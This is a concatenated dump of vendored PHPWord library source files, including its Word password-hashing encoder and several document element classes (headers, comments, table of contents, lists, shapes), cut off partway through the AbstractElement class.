vendor/phpoffice/phpword/src/PhpWord/Shared/Microsoft/PasswordEncoder.php000066600000021637151150442730022646 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Shared\Microsoft;

/**
 * Password encoder for microsoft office applications.
 */
class PasswordEncoder
{
    const ALGORITHM_MD2 = 'MD2';
    const ALGORITHM_MD4 = 'MD4';
    const ALGORITHM_MD5 = 'MD5';
    const ALGORITHM_SHA_1 = 'SHA-1';
    const ALGORITHM_SHA_256 = 'SHA-256';
    const ALGORITHM_SHA_384 = 'SHA-384';
    const ALGORITHM_SHA_512 = 'SHA-512';
    const ALGORITHM_RIPEMD = 'RIPEMD';
    const ALGORITHM_RIPEMD_160 = 'RIPEMD-160';
    const ALGORITHM_MAC = 'MAC';
    const ALGORITHM_HMAC = 'HMAC';

    private const ALL_ONE_BITS = (PHP_INT_SIZE > 4) ? 0xFFFFFFFF : -1;
    private const HIGH_ORDER_BIT = (PHP_INT_SIZE > 4) ? 0x80000000 : PHP_INT_MIN;

    /**
     * Mapping between algorithm name and algorithm ID.
     *
     * @var array
     *
     * @see https://msdn.microsoft.com/en-us/library/documentformat.openxml.wordprocessing.writeprotection.cryptographicalgorithmsid(v=office.14).aspx
     */
    private static $algorithmMapping = [
        self::ALGORITHM_MD2 => [1, 'md2'],
        self::ALGORITHM_MD4 => [2, 'md4'],
        self::ALGORITHM_MD5 => [3, 'md5'],
        self::ALGORITHM_SHA_1 => [4, 'sha1'],
        self::ALGORITHM_MAC => [5, ''], // 'mac' -> not possible with hash()
        self::ALGORITHM_RIPEMD => [6, 'ripemd'],
        self::ALGORITHM_RIPEMD_160 => [7, 'ripemd160'],
        self::ALGORITHM_HMAC => [9, ''], //'hmac' -> not possible with hash()
        self::ALGORITHM_SHA_256 => [12, 'sha256'],
        self::ALGORITHM_SHA_384 => [13, 'sha384'],
        self::ALGORITHM_SHA_512 => [14, 'sha512'],
    ];

    private static $initialCodeArray = [
        0xE1F0,
        0x1D0F,
        0xCC9C,
        0x84C0,
        0x110C,
        0x0E10,
        0xF1CE,
        0x313E,
        0x1872,
        0xE139,
        0xD40F,
        0x84F9,
        0x280C,
        0xA96A,
        0x4EC3,
    ];

    private static $encryptionMatrix = [
        [0xAEFC, 0x4DD9, 0x9BB2, 0x2745, 0x4E8A, 0x9D14, 0x2A09],
        [0x7B61, 0xF6C2, 0xFDA5, 0xEB6B, 0xC6F7, 0x9DCF, 0x2BBF],
        [0x4563, 0x8AC6, 0x05AD, 0x0B5A, 0x16B4, 0x2D68, 0x5AD0],
        [0x0375, 0x06EA, 0x0DD4, 0x1BA8, 0x3750, 0x6EA0, 0xDD40],
        [0xD849, 0xA0B3, 0x5147, 0xA28E, 0x553D, 0xAA7A, 0x44D5],
        [0x6F45, 0xDE8A, 0xAD35, 0x4A4B, 0x9496, 0x390D, 0x721A],
        [0xEB23, 0xC667, 0x9CEF, 0x29FF, 0x53FE, 0xA7FC, 0x5FD9],
        [0x47D3, 0x8FA6, 0x0F6D, 0x1EDA, 0x3DB4, 0x7B68, 0xF6D0],
        [0xB861, 0x60E3, 0xC1C6, 0x93AD, 0x377B, 0x6EF6, 0xDDEC],
        [0x45A0, 0x8B40, 0x06A1, 0x0D42, 0x1A84, 0x3508, 0x6A10],
        [0xAA51, 0x4483, 0x8906, 0x022D, 0x045A, 0x08B4, 0x1168],
        [0x76B4, 0xED68, 0xCAF1, 0x85C3, 0x1BA7, 0x374E, 0x6E9C],
        [0x3730, 0x6E60, 0xDCC0, 0xA9A1, 0x4363, 0x86C6, 0x1DAD],
        [0x3331, 0x6662, 0xCCC4, 0x89A9, 0x0373, 0x06E6, 0x0DCC],
        [0x1021, 0x2042, 0x4084, 0x8108, 0x1231, 0x2462, 0x48C4],
    ];

    private static $passwordMaxLength = 15;

    /**
     * Create a hashed password that MS Word will be able to work with.
     *
     * @see https://blogs.msdn.microsoft.com/vsod/2010/04/05/how-to-set-the-editing-restrictions-in-word-using-open-xml-sdk-2-0/
     *
     * @param string $password
     * @param string $algorithmName
     * @param string $salt
     * @param int $spinCount
     *
     * @return string
     */
    public static function hashPassword($password, $algorithmName = self::ALGORITHM_SHA_1, $salt = null, $spinCount = 10000)
    {
        $origEncoding = mb_internal_encoding();
        mb_internal_encoding('UTF-8');

        $password = mb_substr($password, 0, min(self::$passwordMaxLength, mb_strlen($password)));

        //   Get the single-byte values by iterating through the Unicode characters of the truncated password.
        //   For each character, if the low byte is not equal to 0, take it. Otherwise, take the high byte.
        $passUtf8 = mb_convert_encoding($password, 'UCS-2LE', 'UTF-8');
        $byteChars = [];

        for ($i = 0; $i < mb_strlen($password); ++$i) {
            $byteChars[$i] = ord(substr($passUtf8, $i * 2, 1));

            if ($byteChars[$i] == 0) {
                $byteChars[$i] = ord(substr($passUtf8, $i * 2 + 1, 1));
            }
        }

        // build low-order word and hig-order word and combine them
        $combinedKey = self::buildCombinedKey($byteChars);
        // build reversed hexadecimal string
        $hex = str_pad(strtoupper(dechex($combinedKey & self::ALL_ONE_BITS)), 8, '0', \STR_PAD_LEFT);
        $reversedHex = $hex[6] . $hex[7] . $hex[4] . $hex[5] . $hex[2] . $hex[3] . $hex[0] . $hex[1];

        $generatedKey = mb_convert_encoding($reversedHex, 'UCS-2LE', 'UTF-8');

        // Implementation Notes List:
        //   Word requires that the initial hash of the password with the salt not be considered in the count.
        //   The initial hash of salt + key is not included in the iteration count.
        $algorithm = self::getAlgorithm($algorithmName);
        $generatedKey = hash($algorithm, $salt . $generatedKey, true);

        for ($i = 0; $i < $spinCount; ++$i) {
            $generatedKey = hash($algorithm, $generatedKey . pack('CCCC', $i, $i >> 8, $i >> 16, $i >> 24), true);
        }
        $generatedKey = base64_encode($generatedKey);

        mb_internal_encoding($origEncoding);

        return $generatedKey;
    }

    /**
     * Get algorithm from self::$algorithmMapping.
     *
     * @param string $algorithmName
     *
     * @return string
     */
    private static function getAlgorithm($algorithmName)
    {
        $algorithm = self::$algorithmMapping[$algorithmName][1];
        if ($algorithm == '') {
            $algorithm = 'sha1';
        }

        return $algorithm;
    }

    /**
     * Returns the algorithm ID.
     *
     * @param string $algorithmName
     *
     * @return int
     */
    public static function getAlgorithmId($algorithmName)
    {
        return self::$algorithmMapping[$algorithmName][0];
    }

    /**
     * Build combined key from low-order word and high-order word.
     *
     * @param array $byteChars byte array representation of password
     *
     * @return int
     */
    private static function buildCombinedKey($byteChars)
    {
        $byteCharsLength = count($byteChars);
        // Compute the high-order word
        // Initialize from the initial code array (see above), depending on the passwords length.
        $highOrderWord = self::$initialCodeArray[$byteCharsLength - 1];

        // For each character in the password:
        //   For every bit in the character, starting with the least significant and progressing to (but excluding)
        //   the most significant, if the bit is set, XOR the key’s high-order word with the corresponding word from
        //   the Encryption Matrix
        for ($i = 0; $i < $byteCharsLength; ++$i) {
            $tmp = self::$passwordMaxLength - $byteCharsLength + $i;
            $matrixRow = self::$encryptionMatrix[$tmp];
            for ($intBit = 0; $intBit < 7; ++$intBit) {
                if (($byteChars[$i] & (0x0001 << $intBit)) != 0) {
                    $highOrderWord = ($highOrderWord ^ $matrixRow[$intBit]);
                }
            }
        }

        // Compute low-order word
        // Initialize with 0
        $lowOrderWord = 0;
        // For each character in the password, going backwards
        for ($i = $byteCharsLength - 1; $i >= 0; --$i) {
            // low-order word = (((low-order word SHR 14) AND 0x0001) OR (low-order word SHL 1) AND 0x7FFF)) XOR character
            $lowOrderWord = (((($lowOrderWord >> 14) & 0x0001) | (($lowOrderWord << 1) & 0x7FFF)) ^ $byteChars[$i]);
        }
        // Lastly, low-order word = (((low-order word SHR 14) AND 0x0001) OR (low-order word SHL 1) AND 0x7FFF)) XOR strPassword length XOR 0xCE4B.
        $lowOrderWord = (((($lowOrderWord >> 14) & 0x0001) | (($lowOrderWord << 1) & 0x7FFF)) ^ $byteCharsLength ^ 0xCE4B);

        // Combine the Low and High Order Word
        return self::int32(($highOrderWord << 16) + $lowOrderWord);
    }

    /**
     * Simulate behaviour of (signed) int32.
     *
     * @codeCoverageIgnore
     *
     * @param int $value
     *
     * @return int
     */
    private static function int32($value)
    {
        $value = $value & self::ALL_ONE_BITS;

        if ($value & self::HIGH_ORDER_BIT) {
            $value = -((~$value & self::ALL_ONE_BITS) + 1);
        }

        return $value;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/Header.php000066600000002060151150442730017137 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

/**
 * Header element.
 */
class Header extends Footer
{
    /**
     * @var string Container type
     */
    protected $container = 'Header';

    /**
     * Add a Watermark Element.
     *
     * @param string $src
     * @param mixed $style
     *
     * @return Image
     */
    public function addWatermark($src, $style = null)
    {
        return $this->addImage($src, $style, true);
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/Line.php000066600000002357151150442730016647 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use PhpOffice\PhpWord\Style\Line as LineStyle;

/**
 * Line element.
 */
class Line extends AbstractElement
{
    /**
     * Line style.
     *
     * @var ?\PhpOffice\PhpWord\Style\Line
     */
    private $style;

    /**
     * Create new line element.
     *
     * @param mixed $style
     */
    public function __construct($style = null)
    {
        $this->style = $this->setNewStyle(new LineStyle(), $style);
    }

    /**
     * Get line style.
     *
     * @return ?\PhpOffice\PhpWord\Style\Line
     */
    public function getStyle()
    {
        return $this->style;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/Endnote.php000066600000002076151150442730017352 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

/**
 * Endnote element.
 *
 * @since 0.10.0
 */
class Endnote extends Footnote
{
    /**
     * @var string Container type
     */
    protected $container = 'Endnote';

    /**
     * Create new instance.
     *
     * @param array|\PhpOffice\PhpWord\Style\Paragraph|string $paragraphStyle
     */
    public function __construct($paragraphStyle = null)
    {
        parent::__construct($paragraphStyle);
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/OLEObject.php000066600000005660151150442730017526 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use PhpOffice\PhpWord\Exception\InvalidObjectException;
use PhpOffice\PhpWord\Style\Image as ImageStyle;

/**
 * OLEObject element.
 */
class OLEObject extends AbstractElement
{
    /**
     * Ole-Object Src.
     *
     * @var string
     */
    private $source;

    /**
     * Image Style.
     *
     * @var ?\PhpOffice\PhpWord\Style\Image
     */
    private $style;

    /**
     * Icon.
     *
     * @var string
     */
    private $icon;

    /**
     * Image Relation ID.
     *
     * @var int
     */
    private $imageRelationId;

    /**
     * Has media relation flag; true for Link, Image, and Object.
     *
     * @var bool
     */
    protected $mediaRelation = true;

    /**
     * Create a new Ole-Object Element.
     *
     * @param string $source
     * @param mixed $style
     */
    public function __construct($source, $style = null)
    {
        $supportedTypes = ['xls', 'doc', 'ppt', 'xlsx', 'docx', 'pptx'];
        $pathInfo = pathinfo($source);

        if (file_exists($source) && in_array($pathInfo['extension'], $supportedTypes)) {
            $ext = $pathInfo['extension'];
            if (strlen($ext) == 4 && strtolower(substr($ext, -1)) == 'x') {
                $ext = substr($ext, 0, -1);
            }

            $this->source = $source;
            $this->style = $this->setNewStyle(new ImageStyle(), $style, true);
            $this->icon = realpath(__DIR__ . "/../resources/{$ext}.png");

            return;
        }

        throw new InvalidObjectException();
    }

    /**
     * Get object source.
     *
     * @return string
     */
    public function getSource()
    {
        return $this->source;
    }

    /**
     * Get object style.
     *
     * @return ?\PhpOffice\PhpWord\Style\Image
     */
    public function getStyle()
    {
        return $this->style;
    }

    /**
     * Get object icon.
     *
     * @return string
     */
    public function getIcon()
    {
        return $this->icon;
    }

    /**
     * Get image relation ID.
     *
     * @return int
     */
    public function getImageRelationId()
    {
        return $this->imageRelationId;
    }

    /**
     * Set Image Relation ID.
     *
     * @param int $rId
     */
    public function setImageRelationId($rId): void
    {
        $this->imageRelationId = $rId;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/Formula.php000066600000002230151150442730017353 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

declare(strict_types=1);

namespace PhpOffice\PhpWord\Element;

use PhpOffice\Math\Math;

/**
 * Formula element.
 */
class Formula extends AbstractElement
{
    /**
     * @var Math
     */
    protected $math;

    /**
     * Create a new Formula Element.
     */
    public function __construct(Math $math)
    {
        $this->setMath($math);
    }

    public function setMath(Math $math): self
    {
        $this->math = $math;

        return $this;
    }

    public function getMath(): Math
    {
        return $this->math;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/Comment.php000066600000005055151150442730017360 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use DateTime;

/**
 * Comment element.
 *
 * @see http://datypic.com/sc/ooxml/t-w_CT_Comment.html
 */
class Comment extends TrackChange
{
    /**
     * Initials.
     *
     * @var string
     */
    private $initials;

    /**
     * The Element where this comment starts.
     *
     * @var AbstractElement
     */
    private $startElement;

    /**
     * The Element where this comment ends.
     *
     * @var AbstractElement
     */
    private $endElement;

    /**
     * Is part of collection.
     *
     * @var bool
     */
    protected $collectionRelation = true;

    /**
     * Create a new Comment Element.
     *
     * @param string $author
     * @param null|DateTime $date
     * @param string $initials
     */
    public function __construct($author, $date = null, $initials = null)
    {
        parent::__construct(null, $author, $date);
        $this->initials = $initials;
    }

    /**
     * Get Initials.
     *
     * @return string
     */
    public function getInitials()
    {
        return $this->initials;
    }

    /**
     * Sets the element where this comment starts.
     */
    public function setStartElement(AbstractElement $value): void
    {
        $this->startElement = $value;
        $value->setCommentRangeStart($this);
    }

    /**
     * Get the element where this comment starts.
     *
     * @return \PhpOffice\PhpWord\Element\AbstractElement
     */
    public function getStartElement()
    {
        return $this->startElement;
    }

    /**
     * Sets the element where this comment ends.
     */
    public function setEndElement(AbstractElement $value): void
    {
        $this->endElement = $value;
        $value->setCommentRangeEnd($this);
    }

    /**
     * Get the element where this comment ends.
     *
     * @return \PhpOffice\PhpWord\Element\AbstractElement
     */
    public function getEndElement()
    {
        return $this->endElement;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/TOC.php000066600000007172151150442730016405 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Style\Font;
use PhpOffice\PhpWord\Style\TOC as TOCStyle;

/**
 * Table of contents.
 */
class TOC extends AbstractElement
{
    /**
     * TOC style.
     *
     * @var \PhpOffice\PhpWord\Style\TOC
     */
    private $tocStyle;

    /**
     * Font style.
     *
     * @var \PhpOffice\PhpWord\Style\Font|string
     */
    private $fontStyle;

    /**
     * Min title depth to show.
     *
     * @var int
     */
    private $minDepth = 1;

    /**
     * Max title depth to show.
     *
     * @var int
     */
    private $maxDepth = 9;

    /**
     * Create a new Table-of-Contents Element.
     *
     * @param mixed $fontStyle
     * @param array $tocStyle
     * @param int $minDepth
     * @param int $maxDepth
     */
    public function __construct($fontStyle = null, $tocStyle = null, $minDepth = 1, $maxDepth = 9)
    {
        $this->tocStyle = new TOCStyle();

        if (null !== $tocStyle && is_array($tocStyle)) {
            $this->tocStyle->setStyleByArray($tocStyle);
        }

        if (null !== $fontStyle && is_array($fontStyle)) {
            $this->fontStyle = new Font();
            $this->fontStyle->setStyleByArray($fontStyle);
        } else {
            $this->fontStyle = $fontStyle;
        }

        $this->minDepth = $minDepth;
        $this->maxDepth = $maxDepth;
    }

    /**
     * Get all titles.
     *
     * @return array
     */
    public function getTitles()
    {
        if (!$this->phpWord instanceof PhpWord) {
            return [];
        }

        $titles = $this->phpWord->getTitles()->getItems();
        foreach ($titles as $i => $title) {
            /** @var \PhpOffice\PhpWord\Element\Title $title Type hint */
            $depth = $title->getDepth();
            if ($this->minDepth > $depth) {
                unset($titles[$i]);
            }
            if (($this->maxDepth != 0) && ($this->maxDepth < $depth)) {
                unset($titles[$i]);
            }
        }

        return $titles;
    }

    /**
     * Get TOC Style.
     *
     * @return \PhpOffice\PhpWord\Style\TOC
     */
    public function getStyleTOC()
    {
        return $this->tocStyle;
    }

    /**
     * Get Font Style.
     *
     * @return \PhpOffice\PhpWord\Style\Font|string
     */
    public function getStyleFont()
    {
        return $this->fontStyle;
    }

    /**
     * Set max depth.
     *
     * @param int $value
     */
    public function setMaxDepth($value): void
    {
        $this->maxDepth = $value;
    }

    /**
     * Get Max Depth.
     *
     * @return int Max depth of titles
     */
    public function getMaxDepth()
    {
        return $this->maxDepth;
    }

    /**
     * Set min depth.
     *
     * @param int $value
     */
    public function setMinDepth($value): void
    {
        $this->minDepth = $value;
    }

    /**
     * Get Min Depth.
     *
     * @return int Min depth of titles
     */
    public function getMinDepth()
    {
        return $this->minDepth;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/TextBox.php000066600000002566151150442730017357 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use PhpOffice\PhpWord\Style\TextBox as TextBoxStyle;

/**
 * TextBox element.
 *
 * @since 0.11.0
 */
class TextBox extends AbstractContainer
{
    /**
     * @var string Container type
     */
    protected $container = 'TextBox';

    /**
     * TextBox style.
     *
     * @var ?\PhpOffice\PhpWord\Style\TextBox
     */
    private $style;

    /**
     * Create a new textbox.
     *
     * @param mixed $style
     */
    public function __construct($style = null)
    {
        $this->style = $this->setNewStyle(new TextBoxStyle(), $style);
    }

    /**
     * Get textbox style.
     *
     * @return ?\PhpOffice\PhpWord\Style\TextBox
     */
    public function getStyle()
    {
        return $this->style;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/ListItem.php000066600000005070151150442730017505 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use PhpOffice\PhpWord\Shared\Text as SharedText;
use PhpOffice\PhpWord\Style\ListItem as ListItemStyle;

/**
 * List item element.
 */
class ListItem extends AbstractElement
{
    /**
     * Element style.
     *
     * @var ?\PhpOffice\PhpWord\Style\ListItem
     */
    private $style;

    /**
     * Text object.
     *
     * @var \PhpOffice\PhpWord\Element\Text
     */
    private $textObject;

    /**
     * Depth.
     *
     * @var int
     */
    private $depth;

    /**
     * Create a new ListItem.
     *
     * @param string $text
     * @param int $depth
     * @param mixed $fontStyle
     * @param null|array|string $listStyle
     * @param mixed $paragraphStyle
     */
    public function __construct($text, $depth = 0, $fontStyle = null, $listStyle = null, $paragraphStyle = null)
    {
        $this->textObject = new Text(SharedText::toUTF8($text), $fontStyle, $paragraphStyle);
        $this->depth = $depth;

        // Version >= 0.10.0 will pass numbering style name. Older version will use old method
        if (null !== $listStyle && is_string($listStyle)) {
            $this->style = new ListItemStyle($listStyle); // @codeCoverageIgnore
        } else {
            $this->style = $this->setNewStyle(new ListItemStyle(), $listStyle, true);
        }
    }

    /**
     * Get style.
     *
     * @return ?\PhpOffice\PhpWord\Style\ListItem
     */
    public function getStyle()
    {
        return $this->style;
    }

    /**
     * Get Text object.
     *
     * @return \PhpOffice\PhpWord\Element\Text
     */
    public function getTextObject()
    {
        return $this->textObject;
    }

    /**
     * Get depth.
     *
     * @return int
     */
    public function getDepth()
    {
        return $this->depth;
    }

    /**
     * Get text.
     *
     * @return string
     *
     * @since 0.11.0
     */
    public function getText()
    {
        return $this->textObject->getText();
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/Bookmark.php000066600000002455151150442730017524 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use PhpOffice\PhpWord\Shared\Text as SharedText;

/**
 * Bookmark element.
 */
class Bookmark extends AbstractElement
{
    /**
     * Bookmark Name.
     *
     * @var string
     */
    private $name;

    /**
     * Is part of collection.
     *
     * @var bool
     */
    protected $collectionRelation = true;

    /**
     * Create a new Bookmark Element.
     *
     * @param string $name
     */
    public function __construct($name = '')
    {
        $this->name = SharedText::toUTF8($name);
    }

    /**
     * Get Bookmark name.
     *
     * @return string
     */
    public function getName()
    {
        return $this->name;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/Shape.php000066600000003566151150442730017023 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use PhpOffice\PhpWord\Style\Shape as ShapeStyle;

/**
 * Shape element.
 *
 * @since 0.12.0
 */
class Shape extends AbstractElement
{
    /**
     * Shape type arc|curve|line|polyline|rect|oval.
     *
     * @var string
     */
    private $type;

    /**
     * Shape style.
     *
     * @var ?\PhpOffice\PhpWord\Style\Shape
     */
    private $style;

    /**
     * Create new instance.
     *
     * @param string $type
     * @param mixed $style
     */
    public function __construct($type, $style = null)
    {
        $this->setType($type);
        $this->style = $this->setNewStyle(new ShapeStyle(), $style);
    }

    /**
     * Get type.
     *
     * @return string
     */
    public function getType()
    {
        return $this->type;
    }

    /**
     * Set pattern.
     *
     * @param string $value
     *
     * @return self
     */
    public function setType($value = null)
    {
        $enum = ['arc', 'curve', 'line', 'polyline', 'rect', 'oval'];
        $this->type = $this->setEnumVal($value, $enum, null);

        return $this;
    }

    /**
     * Get shape style.
     *
     * @return ?\PhpOffice\PhpWord\Style\Shape
     */
    public function getStyle()
    {
        return $this->style;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/TextRun.php000066600000004414151150442730017365 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use PhpOffice\PhpWord\Style\Paragraph;

/**
 * Textrun/paragraph element.
 */
class TextRun extends AbstractContainer
{
    /**
     * @var string Container type
     */
    protected $container = 'TextRun';

    /**
     * Paragraph style.
     *
     * @var Paragraph|string
     */
    protected $paragraphStyle;

    /**
     * Create new instance.
     *
     * @param array|Paragraph|string $paragraphStyle
     */
    public function __construct($paragraphStyle = null)
    {
        $this->paragraphStyle = $this->setParagraphStyle($paragraphStyle);
    }

    /**
     * Get Paragraph style.
     *
     * @return Paragraph|string
     */
    public function getParagraphStyle()
    {
        return $this->paragraphStyle;
    }

    /**
     * Set Paragraph style.
     *
     * @param array|Paragraph|string $style
     *
     * @return Paragraph|string
     */
    public function setParagraphStyle($style = null)
    {
        if (is_array($style)) {
            $this->paragraphStyle = new Paragraph();
            $this->paragraphStyle->setStyleByArray($style);
        } elseif ($style instanceof Paragraph) {
            $this->paragraphStyle = $style;
        } elseif (null === $style) {
            $this->paragraphStyle = new Paragraph();
        } else {
            $this->paragraphStyle = $style;
        }

        return $this->paragraphStyle;
    }

    public function getText(): string
    {
        $outstr = '';
        foreach ($this->getElements() as $element) {
            if ($element instanceof Text) {
                $outstr .= $element->getText();
            }
        }

        return $outstr;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/AbstractElement.php000066600000031577151150442730021043 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use DateTime;
use InvalidArgumentException;
use PhpOffice\PhpWord\Collection\Comments;
use PhpOffice\PhpWord\Media;
use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Style;

/**
 * Element abstract class.
 *
 * @since 0.10.0
 */
abstract class AbstractElement
{
    /**
     * PhpWord object.
     *
     * @var ?PhpWord
     */
    protected $phpWord;

    /**
     * Section Id.
     *
     * @var int
     */
    protected $sectionId;

    /**
     * Document part type: Section|Header|Footer|Footnote|Endnote.
     *
     * Used by textrun and cell container to determine where the element is
     * located because it will affect the availability of other element,
     * e.g. footnote will not be available when $docPart is header or footer.
     *
     * @var string
     */
    protected $docPart = 'Section';

    /**
     * Document part Id.
     *
     * For header and footer, this will be = ($sectionId - 1) * 3 + $index
     * because the max number of header/footer in every page is 3, i.e.
     * AUTO, FIRST, and EVEN (AUTO = ODD)
     *
     * @var int
     */
    protected $docPartId = 1;

    /**
